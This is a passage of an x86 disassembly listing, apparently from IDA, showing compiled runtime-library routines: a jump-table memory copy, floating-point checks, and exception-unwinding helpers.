		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE10
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: sub_41C164+9p
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE30, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D424, offset sub_4221D5
		mov	off_43D420, eax
		mov	off_43D428, offset sub_42223B
		mov	off_43D42C, offset sub_42217B
		mov	off_43D430, offset sub_422223
		mov	off_43D434, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE28
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: sub_4229B1+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356	; RtlUnwind


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: .packed:00426AACj
					; .packed:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE70
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D568
		push	[ebp+arg_0]
		call	sub_426356	; RtlUnwind


loc_41D568:				; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
